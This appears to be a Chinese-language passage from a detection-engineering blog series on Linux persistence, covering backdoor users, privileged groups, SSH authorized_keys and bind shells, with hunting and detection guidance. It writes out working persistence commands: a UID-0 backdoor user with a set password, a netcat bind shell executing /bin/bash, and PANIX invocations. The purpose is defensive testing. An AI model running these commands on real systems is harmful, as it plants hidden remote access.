上面的命令创建一个新用户 malicioususer，将其添加到 sudo group，并设置一个密码。同样，这种攻击也可以在 /etc/shadow 文件上执行，方法是用一个已知的哈希值替换用户的密码哈希值。

T1136.001 - 创建账户：后门用户创建

后门用户是指专门为保持对系统的访问而创建或修改的用户帐户。此帐户通常具有提升的权限，并且旨在难以检测。一种方法是创建一个 UID 为 0 的用户，使其成为一个实际上等同于 root 的用户。这种方法在一个名为 Linux 上 UID=0 的后门用户 的博客文章中详细介绍。

useradd -ou 0 -g 0 -m -d /root -s /bin/bash backdoorroot
echo 'backdoorroot:password' | chpasswd

这会创建一个 UID 为 0 的新用户 backdoorroot，使其具有 root 权限。

T1098 - 账户操作：将用户添加到特权组

将现有用户添加到特权组（例如 sudo 组）可以提升其权限，允许他们以超级用户权限执行命令。

usermod -aG sudo existinguser

这将 existinguser 添加到 sudo 组。

通过 T1098/T1136 实现持久性 - 账户操作/创建

所有这些技术都很容易手动执行，但它们也内置于 PANIX 中，以防您想使用二进制文件而不是手动操作来分析日志。由于这些技术生成的事件不是很令人感兴趣，我们不会单独分析它们。我们通过大量的检测规则来检测上述所有技术。

查找 T1098/T1136 - 账户操作/创建

有很多方法可以查找这些技术。可以将上述检测规则添加为时间线查询，以回顾更长的时间段，可以解析和读取 /var/log/auth.log（以及其他 Linux 发行版上的等效文件），并且可以利用 OSQuery 从正在运行的系统中读取用户信息。 通过用户/组创建和/或修改进行权限提升/持久化 搜索规则包含多个 OSQuery 查询，用于查找这些技术。

T1098.004 - 账户操作：SSH

安全外壳 (SSH) 是一种安全访问远程系统的协议。它利用公钥/私钥对来验证用户身份，提供比基于密码的登录更安全的替代方案。SSH 密钥由用户保管的私钥和与远程系统共享的公钥组成。

用户特定的 SSH 密钥文件和配置文件的默认位置如下：

• ~/.ssh/id_rsa
• ~/.ssh/id_rsa.pub
• ~/.ssh/authorized_keys
• /root/.ssh/id_rsa
• /root/.ssh/id_rsa.pub
• /root/.ssh/authorized_keys

系统范围的配置存在于

• /etc/ssh/

私钥保留在客户端计算机上，而公钥则复制到远程服务器的 authorized_keys 文件中。此设置允许用户无需输入密码即可向服务器进行身份验证。

SSH 密钥用于通过 SSH 验证远程登录会话，以及用于安全复制协议 (SCP) 和安全文件传输协议 (SFTP) 等服务，这些服务允许在计算机之间安全地传输文件。

攻击者可以通过将其公钥添加到具有足够权限的用户的 authorized_keys 文件中来在受损主机上建立持久性。这确保他们即使在用户更改密码后也能重新获得对系统的访问权限。此持久化方法是隐秘的，因为可以使用内置的 shell 命令，而这些命令通常更难以捕获为数据源。此外，它不依赖于创建新的用户帐户或修改系统二进制文件。

通过 T1098.004 实现持久性 - SSH 修改

与之前类似，PANIX 可以用来通过 SSH 建立持久性。也可以通过手动将新密钥添加到 ~/.ssh/authorized_keys，或通过在系统上创建新的公钥/私钥对来进行测试。如果要测试这些技术，可以执行以下 PANIX 命令，通过创建新密钥来建立持久性

./panix.sh --ssh-key --default
SSH key generated:
Private key: /home/user/.ssh/id_rsa18220
Public key: /home/user/.ssh/id_rsa1822.pub
[+] SSH key persistence established.

使用以下 PANIX 命令将新的公钥添加到 authorized_keys 文件

./panix.sh  --authorized-keys --default --key <key>
[+] Persistence added to /home/user/.ssh/authorized_keys

对于文件修改事件，我们可以利用 FIM。我们已经制定了几个涵盖此技术的检测规则。

关于利用“通过文件修改实现潜在持久性”规则的说明：由于在 FIM 中利用通配符的限制，FIM 配置应进行调整以表示您环境中的公钥/私钥和 authorized_keys 文件位置。 MITRE 在 T1098.004 中提供了有关此技术的更多信息。

查找 T1098.004 - SSH 修改

在查找 SSH 持久性时，主要关注点是新添加的公钥/私钥，与 authorized_keys 文件相关的文件更改以及配置更改。我们可以利用 OSQuery 通过 通过 SSH 配置和/或密钥实现持久性 搜索中的查询来查找这三者。

T1059.004 - 命令和脚本解释器：绑定 shell

绑定 shell 是一种远程访问工具，允许攻击者连接到受损系统。与连接回攻击者计算机的反向 shell 不同，绑定 shell 侦听受损主机上的传入连接。这允许攻击者随意连接，从而在目标计算机上获得命令执行权限。

绑定 shell 通常涉及以下步骤

1. 侦听套接字：受损系统打开一个网络套接字并侦听特定端口上的传入连接。
2. 绑定 Shell：建立连接后，系统会将命令 shell（例如 /bin/bash 或 /bin/sh）绑定到该套接字。
3. 远程访问：攻击者使用网络客户端（例如 netcat）连接到绑定 shell，并获得对受损系统上的命令 shell 的访问权限。

攻击者可以通过多种方式设置绑定 shell，从简单的一行命令到更复杂的脚本。以下是使用传统版本的 netcat 的绑定 shell 示例

nc -lvnp 9001 -e /bin/bash

设置绑定 shell 后，攻击者可以从其计算机连接到它

nc -nv <target_ip> 4444

为了保持持久性，必须将绑定 shell 设置为在系统启动或重新启动时自动启动。这可以通过我们之前讨论的各种方法来实现，例如 cron、Systemd 或本 Linux 检测工程系列下一部分中讨论的方法。

MITRE 没有特定的绑定/反向 shell 技术，可能将绑定 shell 分类为执行技术。但是，绑定 shell 在我们的用例中用于持久性。有关绑定/反向 shell 的更多 MITRE 信息，请访问 T1059.004。

通过 T1059.004 实现持久性 - 绑定 shell

通过行为规则检测绑定 shell 本质上具有挑战性，因为它们的行为通常是良性的，并且与合法的进程无法区分。绑定 shell 打开一个网络套接字并等待传入连接，这对于许多合法服务来说是一种常见活动。当攻击者连接时，它只会导致网络连接和 shell 会话的启动，这都是系统上的正常操作。

由于行为检测的局限性，识别绑定 shell 最可靠的方法是静态签名检测。这种方法涉及扫描文件系统或内存，以查找与绑定 shell 关联的已知 shellcode 模式。

通过利用静态签名，我们可以比仅仅依赖行为分析更有效地识别和阻止绑定 shell。这种方法有助于检测绑定 shell 使用的特定代码序列，而无论其行为如何，从而确保针对这种类型的持久性机制提供更强大的防御。

由于我们所有的基于特征码的检测都是开源的，您可以访问我们的 protections-artifacts YARA 仓库 查看它们。如果您想在您的工具中分析此方法，您可以利用 PANIX 设置一个绑定 shell，并使用 nc 连接到它。为此，请执行以下命令

./panix.sh --bind-shell --default --architecture x64
[+] Bind shell /tmp/bd64 was created, executed and backgrounded.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!

狩猎 T1059.004 - 绑定 shell

虽然编写不会定期产生误报的可靠行为检测规则几乎是不可能的，但狩猎它们并非如此。基于绑定 shell 的行为，我们知道可以查找长时间运行的进程、监听端口和监听套接字。为此，我们可以利用 OSQuery。在通过反向/绑定 Shell 持久化狩猎规则中，有几种针对此场景的狩猎可用。

T1059.004 - 命令和脚本解释器：反向 shell

反向 shell 被用于本文中讨论的许多持久化技术中，并将在接下来的部分中进一步探讨。虽然没有为上述许多技术添加检测反向 shell 的特定规则，但它们非常相关。为了保持一致性并确保全面覆盖，以下检测和端点规则被包括在内，以捕获这些持久化机制。

结论

在本期“Linux 检测工程”系列文章中，我们研究了 Linux 持久化的基础知识。如果您错过了该系列的第一部分，该部分侧重于使用 Auditd 进行检测工程，您可以在此处补看。本文探讨了各种持久化技术，包括计划任务、systemd 服务、shell 配置文件修改、XDG 自动启动配置、SUID/SGID 二进制文件、sudoers 规则、用户和组创建/修改、SSH 密钥和 authorized_key 修改、绑定和反向 shell。

解释不仅涵盖了每种持久化方法的运作方式，还提供了使用名为PANIX 的简单工具配置它们的实际演示。这种动手实践的方法使您能够使用您首选的安全产品测试这些技术的覆盖范围。此外，我们还讨论了每种方法的狩猎策略，从 ES|QL 聚合查询到使用 OSQuery 进行的实时狩猎查询。

我们希望您觉得这种形式有所帮助。在下一篇文章中，我们将探讨在野外使用的更高级和鲜为人知的持久化方法。在那之前，祝您狩猎愉快！